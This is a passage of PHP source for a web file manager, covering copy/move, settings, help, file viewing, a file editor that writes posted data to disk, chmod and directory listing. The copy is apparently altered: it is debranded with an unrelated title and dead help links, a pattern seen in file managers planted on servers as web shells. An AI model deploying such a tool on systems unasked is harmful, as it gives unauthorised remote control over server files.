                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-danger"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> 
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['copy']) and !isset($_GET['finish']) and !FM_READONLY) {
    $copy = $_GET['copy'];
    $copy = fm_clean_path($copy);
    if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); 
    fm_show_nav_path(FM_PATH); 
    ?>
    <div class="path">
        <p><b>Copying</b></p>
        <p class="break-word">
            <strong>Source path:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br>
            <strong>Destination folder:</strong> <?php echo fanco(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?>
        </p>
        <p>
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode($copy) ?>&amp;finish=1&amp;move=1"><i class="fa fa-check-circle"></i> Move</a></b> &nbsp;
            <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="text-danger"><i class="fa fa-times-circle"></i> Cancel</a></b>
        </p>
        <p><i><?php echo lng('Select folder') ?></i></p>
        <ul class="folders break-word">
            <?php
            if ($parent !== false) {
                ?>
                <li><a href="?p=<?php echo urlencode($parent) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li>
                <?php
            }
            foreach ($folders as $f) {
                ?>
                <li>
                    <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&amp;copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li>
                <?php
            }
            ?>
        </ul>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['settings']) and !FM_READONLY) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang, $lang_list;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-cog"></i>  <?php echo lng('Settings') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)">
                    <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true">
                    <div class="form-group row">
                        <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select" id="js-language" name="js-language">
                                <?php
                                function getSelected($l) {
                                    global $lang;
                                    return ($lang == $l) ? 'selected' : '';
                                }
                                foreach ($lang_list as $k => $v) {
                                    echo "<option value='$k' ".getSelected($k).">$v</option>";
                                }
                                ?>
                            </select>
                        </div>
                    </div>
                    <div class="mt-3 mb-3 row ">
                        <label for="js-error-report" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-error-report" name="js-error-report" value="true" <?php echo $report_errors ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-show-hidden" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-show-hidden" name="js-show-hidden" value="true" <?php echo $show_hidden_files ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-hide-cols" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label>
                        <div class="col-sm-9">
                            <div class="form-check form-switch">
                              <input class="form-check-input" type="checkbox" role="switch" id="js-hide-cols" name="js-hide-cols" value="true" <?php echo $hide_Cols ? 'checked' : ''; ?> />
                            </div>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <label for="js-3-1" class="col-sm-3 col-form-label"><?php echo lng('Theme') ?></label>
                        <div class="col-sm-5">
                            <select class="form-select w-100" id="js-3-0" name="js-theme-3">
                                <option value='light' <?php if($theme == "light"){echo "selected";} ?>><?php echo lng('light') ?></option>
                                <option value='dark' <?php if($theme == "dark"){echo "selected";} ?>><?php echo lng('dark') ?></option>
                            </select>
                        </div>
                    </div>

                    <div class="mb-3 row">
                        <div class="col-sm-10">
                            <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button>
                        </div>
                    </div>

                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['help'])) {
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path
    global $cfg, $lang;
    ?>

    <div class="col-md-8 offset-md-2 pt-3">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header d-flex justify-content-between">
                <span><i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?></span>
                <a href="?p=<?php echo FM_PATH ?>" class="text-danger"><i class="fa fa-times-circle-o"></i> <?php echo lng('Cancel')?></a>
            </h6>
            <div class="card-body">
                <div class="row">
                    <div class="col-xs-12 col-sm-6">
                        <p><h3><a href="." target="_blank" class="app-v-title"> sympathizing <?php echo VERSION; ?></a></h3></p>
                    </div>
                    <div class="col-xs-12 col-sm-6">
                        <div class="card">
                            <ul class="list-group list-group-flush">
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li>
                                <li class="list-group-item"><a href="." target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li>
                                <?php if(!FM_READONLY) { ?>
                                <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li>
                                <?php } ?>
                            </ul>
                        </div>
                    </div>
                </div>
                <div class="row js-new-pwd hidden mt-2">
                    <div class="col-12">
                        <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action="">
                            <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true">
                            <div class="form-group mb-2">
                                <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label>
                            </div>
                            <div class="form-group mx-sm-3 mb-2">
                                <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label>
                                <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="<?php echo lng('Password') ?>" required>
                            </div>
                            <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button>
                        </form>
                        <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea>
                    </div>
                </div>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['view'])) {
    $file = $_GET['view'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize_raw = fm_get_size($file_path);
    $filesize = fm_get_filesize($filesize_raw);

    $is_zip = false;
    $is_gzip = false;
    $is_image = false;
    $is_audio = false;
    $is_video = false;
    $is_text = false;
    $is_onlineViewer = false;

    $view_title = 'File';
    $filenames = false; // for zip
    $content = ''; // for text
    $online_viewer = strtolower(FM_DOC_VIEWER);

    if($online_viewer and $online_viewer !== 'false' and in_array($ext, fm_get_onlineViewer_exts())){
        $is_onlineViewer = true;
    }
    elseif ($ext == 'zip' || $ext == 'tar') {
        $is_zip = true;
        $view_title = 'Archive';
        $filenames = fm_get_zif_info($file_path, $ext);
    } elseif (in_array($ext, fm_get_image_exts())) {
        $is_image = true;
        $view_title = 'Image';
    } elseif (in_array($ext, fm_get_audio_exts())) {
        $is_audio = true;
        $view_title = 'Audio';
    } elseif (in_array($ext, fm_get_video_exts())) {
        $is_video = true;
        $view_title = 'Video';
    } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="row">
        <div class="col-12">
            <p class="break-word"><b><?php echo lng($view_title) ?> "<?php echo fanco(fm_convert_win($file)) ?>"</b></p>
            <p class="break-word">
                <?php $display_path = fm_get_display_path($file_path); ?>
                <strong><?php echo $display_path['label']; ?>:</strong> <?php echo $display_path['path']; ?><br>
                <strong>File size:</strong> <?php echo ($filesize_raw <= 1000) ? "$filesize_raw bytes" : $filesize; ?><br>
                <strong>MIME-type:</strong> <?php echo $mime_type ?><br>
                <?php
                // ZIP info
                if (($is_zip || $is_gzip) and $filenames !== false) {
                    $total_files = 0;
                    $total_comp = 0;
                    $total_uncomp = 0;
                    foreach ($filenames as $fn) {
                        if (!$fn['folder']) {
                            $total_files++;
                        }
                        $total_comp += $fn['compressed_size'];
                        $total_uncomp += $fn['filesize'];
                    }
                    ?>
                    <?php echo lng('Files in archive') ?>: <?php echo $total_files ?><br>
                    <?php echo lng('Total size') ?>: <?php echo fm_get_filesize($total_uncomp) ?><br>
                    <?php echo lng('Size in archive') ?>: <?php echo fm_get_filesize($total_comp) ?><br>
                    <?php echo lng('Compression') ?>: <?php echo round(($total_comp / max($total_uncomp, 1)) * 100) ?>%<br>
                    <?php
                }
                // Image info
                if ($is_image) {
                    $image_size = getimagesize($file_path);
                    echo '<strong>'.lng('Image size').':</strong> ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>';
                }
                // Text info
                if ($is_text) {
                    $is_utf8 = fm_is_utf8($content);
                    if (function_exists('iconv')) {
                        if (!$is_utf8) {
                            $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content);
                        }
                    }
                    echo '<strong>'.lng('Charset').':</strong> ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>';
                }
                ?>
            </p>
            <div class="d-flex align-items-center mb-3">
                <form method="post" class="d-inline ms-2" action="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($file) ?>">
                    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                    <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></button> &nbsp;
                </form>
                <b class="ms-2"><a href="<?php echo fanco($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b>
                <?php
                // ZIP actions
                if (!FM_READONLY and ($is_zip || $is_gzip) and $filenames !== false) {
                    $zip_name = pathinfo($file_path, PATHINFO_FILENAME);
                    ?>
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></button>
                    </form>&nbsp;
                    <form method="post" class="d-inline ms-2">
                        <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
                        <input type="hidden" name="unzip" value="<?php echo urlencode($file); ?>">
                        <input type="hidden" name="tofolder" value="1">
                        <button type="submit" class="btn btn-link text-decoration-none fw-bold p-0" style="font-size: 14px;" title="UnZip to <?php echo fanco($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></button>
                    </form>&nbsp;
                    <?php
                }
                if ($is_text and !FM_READONLY) {
                    ?>
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $uu++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
